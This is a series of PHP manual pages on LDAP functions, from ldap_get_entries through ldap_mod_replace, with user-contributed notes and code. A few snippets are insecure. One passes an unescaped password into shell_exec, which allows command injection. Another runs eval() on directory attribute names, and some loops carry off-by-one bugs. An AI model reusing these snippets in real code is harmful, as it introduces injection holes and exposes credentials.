return_value[i]["dn"] =  DN of the ith entry in the result

return_value[i]["count"] = number of attributes in ith entry
return_value[i][j] = NAME of the jth attribute in the ith entry in the result

return_value[i]["attribute"]["count"] = number of values for
                                        attribute in ith entry
return_value[i]["attribute"][j] = jth value of attribute in ith entry

See Also

  • ldap_first_entry() - Return first result id
  • ldap_next_entry() - Get next result entry

User Contributed Notes

eric dot peyremorte at NOSPAM dot iut-valence dot fr 29-Mar-2011 06:42
You can remove return_value["count"] from the result array that way :

unset(return_value["count"])
Sebastien Troiani 29-Jan-2010 05:39
Looks like there is a limit on returned objects - only 1000 items are placed in the array
plonky at gmail dot com 07-Apr-2009 09:09
Hope this could help a bit others to print attribute and values on the same line. This is basic code of course

<?php

$ldap_con = ldap_connect($ldap_server) or die("Could not connect to server. Error is " . ldap_error($ldap_con));
$ldap_bd = ldap_bind($ldap_con, $root_dn, $root_pw) or die("Could not bind to server. Error is " .ldap_error($ldap_con));
$result = ldap_search($ldap_con, $personnel_base, "(uid=*)") or die ("Error in query");

$data = ldap_get_entries($ldap_con, $result);

for ($i=0; $i<=$data["count"];$i++) {
        for ($j=0;$j<=$data[$i]["count"];$j++){
        echo $data[$i][$j].": ".$data[$i][$data[$i][$j]][0]."\n";
        }
}
ldap_close($ldap_con);
?>
chl 11-Mar-2009 08:20
Recursive form of markus' function so it can take directly the result of ldap_get_entries :
<?php
function cleanUpEntry( $entry ) {
  $retEntry = array();
  for ( $i = 0; $i < $entry['count']; $i++ ) {
    if (is_array($entry[$i])) {
      $subtree = $entry[$i];
      //This condition should be superfluous so just take the recursive call
      //adapted to your situation in order to increase perf.
      if ( ! empty($subtree['dn']) and ! isset($retEntry[$subtree['dn']])) {
        $retEntry[$subtree['dn']] = cleanUpEntry($subtree);
      }
      else {
        $retEntry[] = cleanUpEntry($subtree);
      }
    }
    else {
      $attribute = $entry[$i];
      if ( $entry[$attribute]['count'] == 1 ) {
        $retEntry[$attribute] = $entry[$attribute][0];
      } else {
        for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
          $retEntry[$attribute][] = $entry[$attribute][$j];
        }
      }
    }
  }
  return $retEntry;
}
?>

Result is of the form :
array(256) {
  ["uid=doe,ou=People,dc=example,dc=net"]=>
  array(3) {
    ["uid"]=>
    string(4) "doe"
    ["cn"]=>
    string(14) "John Doe"
    ["telephonenumber"]=>
    string(4) "1234"
  }
  ["uid=foo,ou=People,dc=example,dc=net"]=>
  ...
asohn at aircanopy dot net 21-Sep-2007 02:48
Some code I put together. Maybe yall can benefit from it.

<?php
function search_results($info) {
  foreach ($info as $inf) {
    if (is_array($inf)) {
      foreach ($inf as $key => $in) {
        if ((count($inf[$key]) - 1) > 0) {
          if (is_array($in)) {
            unset($inf[$key]["count"]);
          }
          $results[$key] = $inf[$key];
        }
      }
    }
  }
  $results["dn"] = explode(',', $info[0]["dn"]);
  return $results;
}

$user = "asohn";

$ds = ldap_connect("ldap://DOMAIN.net");
if ($ds) {
  $r = ldap_bind($ds);
  $sr = ldap_search($ds, "ou=customers,dc=DOMAIN,dc=net", "uid=".$user);
  $info = ldap_get_entries($ds, $sr);

  echo $info["count"]." Search Result(s) for \"".$user."\"\n";

  $results = search_results($info);
  foreach ($results as $key => $result) {
    echo "  ".$key."\n";
    if (is_array($result)){
      foreach($result as $res){
        echo "    ".$res."\n";
      }
    }
  }
  ldap_close($ds);
}
?>
markus dot schabel at tgm dot ac dot at 21-Feb-2006 12:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
    $retEntry = array();
    for ( $i = 0; $i < $entry['count']; $i++ ) {
        $attribute = $entry[$i];
        if ( $entry[$attribute]['count'] == 1 ) {
            $retEntry[$attribute] = $entry[$attribute][0];
        } else {
            for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
                $retEntry[$attribute][] = $entry[$attribute][$j];
            }
        }
    }
    return $retEntry;
}
?>
reuben dot helms at gmail dot com 07-Feb-2006 01:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com> 24-Jun-2005 02:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de 21-Apr-2004 03:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
    if ( is_null( $entries[ $i ] ) ) continue;
    ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com> 13-Nov-2003 07:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
        $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
        $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
    }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org 04-Sep-2003 11:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
    # (int)0 == "count", so we need to use ===
    if($key === "count")
      unset($arr[$key]);
    elseif(is_array($val))
      $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi 18-Jun-2003 06:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
matt.s(remove)at(remove)aptalaska.net 16-Apr-2002 01:36
I noticed the same thing Ron did, except I couldn't get php to return the attribute values using numerical pointers at all.  I ended up using an eval() to pass in the associative name:

$ds=ldap_connect("ldapserver");

if ($ds) {

    $r=ldap_bind($ds); #bind to directory
    $sr=ldap_search($ds,"dc=domain,dc=net", "uid=user"); #search for user

    print  "Number of entires returned is " .ldap_count_entries($ds,$sr)."<p>";

    $info = ldap_get_entries($ds, $sr); #get the result

    print "Data for ".$info["count"]." items returned:<p>";

    for ($i=0; $i<$info["count"]; $i++) {  #loop though ldap search result

      print "dn: " . $info[$i]["dn"] . "<br>"; #print dn

      for ($ii=0; $ii<$info[$i]["count"]; $ii++) { #loop though attributes in this dn
        print "&nbsp;&nbsp;" . $info[$i][$ii] . ": "; #print attribute name
        $attrib = $info[$i][$ii]; #set attribute
        eval("print \$info[\$i][\"$attrib\"][0];"); #print attribute value

        print "<br>";
      }

      print "<br>";
    }

    ldap_close($ds);

} else {
    echo "<h4>Unable to connect to LDAP server</h4>";
}
pmichaud at pobox dot com 09-Feb-2002 06:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au 17-Aug-2001 04:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no 15-May-2001 09:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com 20-Dec-2000 10:24
Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au 17-Apr-2000 10:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.
ldap_get_dn
ldap_get_option
LDAP Functions


Get the current value for given option

ldap_get_entries
ldap_get_values_len
LDAP Functions
PHP Manual

ldap_get_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_get_option — Get the current value for given option

Description

bool ldap_get_option ( resource $link_identifier , int $option , mixed &$retval )

Sets retval to the value of the specified option.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

option

The parameter option can be one of:

Option | Type
LDAP_OPT_DEREF | integer
LDAP_OPT_SIZELIMIT | integer
LDAP_OPT_TIMELIMIT | integer
LDAP_OPT_NETWORK_TIMEOUT | integer
LDAP_OPT_PROTOCOL_VERSION | integer
LDAP_OPT_ERROR_NUMBER | integer
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array

retval

This will be set to the option value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Check protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
    echo "Using protocol version $version\n";
} else {
    echo "Unable to determine protocol version\n";
}
?>

Notes

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_set_option() - Set the value of the given option

User Contributed Notes

There are no user contributed notes for this page.
ldap_get_entries
ldap_get_values_len
LDAP Functions


Get all binary values from a result entry

ldap_get_option
ldap_get_values
LDAP Functions
PHP Manual

ldap_get_values_len

(PHP 4, PHP 5)

ldap_get_values_len — Get all binary values from a result entry

Description

array ldap_get_values_len ( resource $link_identifier , resource $result_entry_identifier , string $attribute )

Reads all the values of the attribute in the entry in the result.

This function is used exactly like ldap_get_values() except that it handles binary data and not string data.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

attribute

Return Values

Returns an array of values for the attribute on success and FALSE on error. Individual values are accessed by integer index in the array. The first index is 0. The number of values can be found by indexing "count" in the resultant array.

See Also

  • ldap_get_values() - Get all values from a result entry

User Contributed Notes

Stav 21-Apr-2011 05:38
I had a lot of issues with decoding errors using ldap_get_values_len() and found a of unanswered calls for help on a lot of forums.

The error message is - Warning: ldap_get_values(): Cannot get the value(s) of attribute Decoding error in xxx.php.

It appears that this error seems to cover a multitude sins including simple typos in the attribute name.

After using PHP to list the attributes of a particular record I noticed that the attribute userCertificate wasn't listed simply as userCertificate but userCertificate;binary instead.  I wrote this into my code and all was fixed.

So my code looks as follows.

<?php
        if (!$val = @ldap_get_values_len($con, $entry, "$attribute;binary"))
                die ('Error retrieving value (' . ldap_error($con) . ')');
?>

I hope this saves someone the pain I went through trawling Google for an answer.
jhgustafsson at gmail dot com 02-Jun-2009 03:07
Tried a couple of different ways to do this but this seems to work best:

<?php
$info = ldap_first_entry($ds,$sr);

// get it binary-safe.
$bin_guid = ldap_get_values_len($ds,$info,"objectguid");

// convert to hex, bin2hex failed here for me. Unpack() seems to work though.
$hex_guid = unpack("H*hex", $bin_guid[0]);
?>
alexey_baranov at inbox dot ru 02-Apr-2009 04:26
no more need to use ldap_get_values_len (). ldap_get_attributes() works well now.

<?php
$attrs = ldap_get_attributes($this->cid, $this->re);
$hex_Sid= bin2hex($attrs['objectSid'][0]); //returns 010500000000000515000000c94d7d363d787b17e77b80109d060000
$hex_GUID= bin2hex($attrs['objectGUID'][0]); //returns 710234bbc2abc148ade8c1f9b4567b24
?>
etienne at i-james dot com 23-Aug-2007 02:40
In order to set directory/file permissions with smbcacls, you'll need to get the objectSid and objectGuid, convert them with the functions described in the other post of this manual and concat them like this :
$user='S-' . $strObjectSid . '-' . $strObjectGuid
derek dot ethier at gmail dot com 07-Mar-2007 11:25
One more function to add that complements the bin_to_str_guid function I posted below:

// This function will convert a string GUID value into a HEX value to search AD.
function str_to_hex_guid($str_guid) {
    $str_guid = str_replace('-', '', $str_guid);

    $octet_str = substr($str_guid, 6, 2);
    $octet_str .= substr($str_guid, 4, 2);
    $octet_str .= substr($str_guid, 2, 2);
    $octet_str .= substr($str_guid, 0, 2);
    $octet_str .= substr($str_guid, 10, 2);
    $octet_str .= substr($str_guid, 8, 2);
    $octet_str .= substr($str_guid, 14, 2);
    $octet_str .= substr($str_guid, 12, 2);
    $octet_str .= substr($str_guid, 16, strlen($str_guid));

    return $octet_str;
}

If you want to convert the string GUID back to the HEX format (required if you want to search AD based on the GUID string, make sure you escape the HEX string with double backslashes when searching -- ie. \\AE\\0F\\88...).
derek dot ethier at gmail dot com 12-Feb-2007 07:49
To elaborate on rcrow's post, if you want to convert the objectSID value to a usable string (from Active Directory) the following function will do the trick (this was borrowed from another section of the manual, just thought I'd add it here):

// Returns the textual SID
function bin_to_str_sid($binsid) {
    $hex_sid = bin2hex($binsid);
    $rev = hexdec(substr($hex_sid, 0, 2));
    $subcount = hexdec(substr($hex_sid, 2, 2));
    $auth = hexdec(substr($hex_sid, 4, 12));
    $result    = "$rev-$auth";

    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] =
            hexdec($this->little_endian(substr($hex_sid, 16 + ($x * 8), 8)));
        $result .= "-" . $subauth[$x];
    }

    // Cheat by tacking on the S-
    return 'S-' . $result;
}

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function little_endian($hex) {
    for ($x = strlen($hex) - 2; $x >= 0; $x = $x - 2) {
        $result .= substr($hex, $x, 2);
    }
    return $result;
}

This function is not related to the ldap_get_values_len function but is still helpful if you want to convert the objectGUID binary value to a string format (converted from some vbscript provided by Richard Mueller):

// This function will convert a binary value guid into a valid string.
function bin_to_str_guid($object_guid) {
    $hex_guid = bin2hex($object_guid);
    $hex_guid_to_guid_str = '';
    for($k = 1; $k <= 4; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 8 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 12 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 16 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 16, 4);
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 20);

    return strtoupper($hex_guid_to_guid_str);
}

Here's an example on how to use both:

$filter="samaccountname=".$username;
$fields=array("objectguid","objectsid");

//establish the connection and specify the base_dn first. there are a lot of examples in the manual for this

$sr=ldap_search($this->_conn,$this->_base_dn,$filter,$fields);
$entries = ldap_get_entries($this->_conn, $sr);

if (in_array("objectguid", $fields)) {
    $entries[0]["objectguid"][0]=
        $this->bin_to_str_guid($entries[0]["objectguid"][0]);
}

if (in_array("objectsid", $fields)) {
    $entry = ldap_first_entry($this->_conn, $sr);
    $objectsid_binary = ldap_get_values_len($this->_conn, $entry, "objectsid");
    $entries[0]["objectsid"][0] = $this->bin_to_str_sid($objectsid_binary[0]);
}

Hope this helps someone!
rcrow at NOSPAM dot laptv dot com 29-Apr-2004 05:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                           */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.
ldap_get_option
ldap_get_values
LDAP Functions


Get all values from a result entry

ldap_get_values_len
ldap_list
LDAP Functions
PHP Manual

ldap_get_values

(PHP 4, PHP 5)

ldap_get_values — Get all values from a result entry

Description

array ldap_get_values ( resource $link_identifier , resource $result_entry_identifier , string $attribute )

Reads all the values of the attribute in the entry in the result.

This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry.

You application will either be hard coded to look for certain attributes (such as "surname" or "mail") or you will have to use the ldap_get_attributes() call to work out what attributes exist for a given entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

attribute

Return Values

Returns an array of values for the attribute on success and FALSE on error. The number of values can be found by indexing "count" in the resultant array. Individual values are accessed by integer index in the array. The first index is 0.

LDAP allows more than one entry for an attribute, so it can, for example, store a number of email addresses for one person's directory entry all labeled with the attribute "mail"

    return_value["count"] = number of values for attribute
    return_value[0] = first value of attribute
    return_value[i] = ith value of attribute

Examples

Example #1 List all values of the "mail" attribute for a directory entry

<?php
// $ds is a valid link identifier for a directory server

// $sr is a valid search result from a prior call to
//     one of the ldap directory search calls

// $entry is a valid entry identifier from a prior call to
//        one of the calls that returns a directory entry

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " email addresses for this entry.<br />";

for ($i=0; $i < $values["count"]; $i++) {
    echo $values[$i] . "<br />";
}
?>

See Also

  • ldap_get_values_len() - Get all binary values from a result entry

User Contributed Notes

viper_sb at IGETTOMUCHSPAMhotmail dot com 25-Mar-2003 06:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com 21-Jun-2001 10:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.
ldap_get_values_len
ldap_list
LDAP Functions


Single-level search

ldap_get_values
ldap_mod_add
LDAP Functions
PHP Manual

ldap_list

(PHP 4, PHP 5)

ldap_list — Single-level search

Description

resource ldap_list ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_ONELEVEL.

LDAP_SCOPE_ONELEVEL means that the search should only return information that is at the level immediately below the base_dn given in the call. (Equivalent to typing "ls" and getting a list of files and folders in the current working directory.)

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Changelog

Version | Description
4.0.5 | Parallel searches support was added. See ldap_search() for details.
4.0.2 | The attrsonly, sizelimit, timelimit and deref were added.

Examples

Example #1 Produce a list of all organizational units of an organization

<?php
// $ds is a valid link identifier for a directory server

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr = ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i < $info["count"]; $i++) {
    echo $info[$i]["ou"][0];
}
?>

See Also

  • ldap_search() - Search LDAP tree

User Contributed Notes

There are no user contributed notes for this page.
ldap_get_values
ldap_mod_add
LDAP Functions


Add attribute values to current attributes

ldap_list
ldap_mod_del
LDAP Functions
PHP Manual

ldap_mod_add

(PHP 4, PHP 5)

ldap_mod_add — Add attribute values to current attributes

Description

bool ldap_mod_add ( resource $link_identifier , string $dn , array $entry )

Adds one or more attributes to the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level additions are done by the ldap_add() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_replace() - Replace attribute values with new ones

User Contributed Notes

theiderich AT laweekly dot com 15-Jul-2005 03:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br> 26-Feb-2003 02:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

It´s all.
JoshuaStarr at aelana dot com 30-Aug-2001 10:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);
ldap_list
ldap_mod_del
LDAP Functions


Delete attribute values from current attributes

ldap_mod_add
ldap_mod_replace
LDAP Functions
PHP Manual

ldap_mod_del

(PHP 4, PHP 5)

ldap_mod_del — Delete attribute values from current attributes

Description

bool ldap_mod_del ( resource $link_identifier , string $dn , array $entry )

Removes one or more attributes from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level deletions are done by the ldap_delete() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_mod_add() - Add attribute values to current attributes
  • ldap_mod_replace() - Replace attribute values with new ones

User Contributed Notes

06-Apr-2006 08:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com 09-Dec-2002 08:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com 13-May-2002 10:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net 30-Aug-2001 08:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net 22-Jul-2001 10:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com 22-Jul-2001 05:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com 05-Dec-2000 12:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net 20-Nov-2000 09:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com 08-Aug-2000 11:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu 27-Apr-2000 07:35
After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:

The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.

-- Example

Current values for the attributes of of a particular entry:

     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com

How to remove the first value of mail so that only the second value for mail exists:

     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);

So if you want to remove all instances of an attribute, you have to do it one by one.
ldap_mod_add
ldap_mod_replace
LDAP Functions


Replace attribute values with new ones

ldap_mod_del
ldap_modify
LDAP Functions
PHP Manual

ldap_mod_replace

(PHP 4, PHP 5)

ldap_mod_replace — Replace attribute values with new ones

Description

bool ldap_mod_replace ( resource $link_identifier , string $dn , array $entry )

Replaces one or more attributes from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level modifications are done by the ldap_modify() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_add() - Add attribute values to current attributes

User Contributed Notes

plex909 30-Sep-2008 03:23
Here's an easy way to encode AD "unicodepwd" values from linux...

Download and install recode...
http://www.gnu.org/software/recode/recode.html

Then write something like this...
<?php
function ADUnicodePwdValue($plain_txt_value)
{
    return str_replace("\n", "", shell_exec("echo -n '\"" . $plain_txt_value . "\"' | recode latin1..utf-16le/base64"));
}

$user["unicodepwd"] = ADUnicodePwdValue("my_password");

?>

[EDITOR thiago NOTE: The following text was sent by boyvanderlaak at gmail dot com as an important complement]

if you do not have access to your linux box but have Multibyte String enabled you could try the following for AD 2008:

<?php
$info["unicodePwd"] = mb_convert_encoding('"' . $newPassword . '"', 'utf-16le');
?>
chris at mr2madness dot com 18-Sep-2007 07:44
You can use arrays for multiple attributes example:

<?php
$entry[mail] = array("example@example.com","example2@example.com");
$results = ldap_mod_add($ldapConnID,$dn, $entry);
?>
or as i did for creating anew user:
<?php
